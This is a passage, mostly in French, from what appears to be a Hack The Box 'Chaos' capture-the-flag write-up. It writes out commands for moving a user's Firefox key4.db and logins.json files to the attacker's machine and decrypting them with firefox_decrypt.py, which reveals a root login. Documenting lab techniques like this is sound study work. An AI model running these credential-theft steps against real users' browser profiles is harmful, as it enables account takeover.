Extracting Credentials from Firefox Profile

Extraction des Credentials Firefox

Dans le dossier .mozilla d’Ayush, nous trouvons key4.db et logins.json.

Nous les transférons vers notre machine :

python3 -m http.server 8080
wget -r chaos.htb:8080

Déchiffrement des identifiants avec firefox_decrypt.py :

GitHub - unode/firefox_decrypt: Firefox Decrypt is a tool to extract passwords from Mozilla (Firefox™, Waterfox™, Thunderbird®, SeaMonkey®) profilesGitHub

python3 firefox_decrypt.py chaos.htb:8080

Nous entrons jiujitsu comme mot de passe principal et récupérons :

Mot de passe principal pour le profil chaos.htb:8080/bzo7sjt1.default

Website: https://chaos.htb:10000

Username: 'root' Password: 'Thiv8wrej~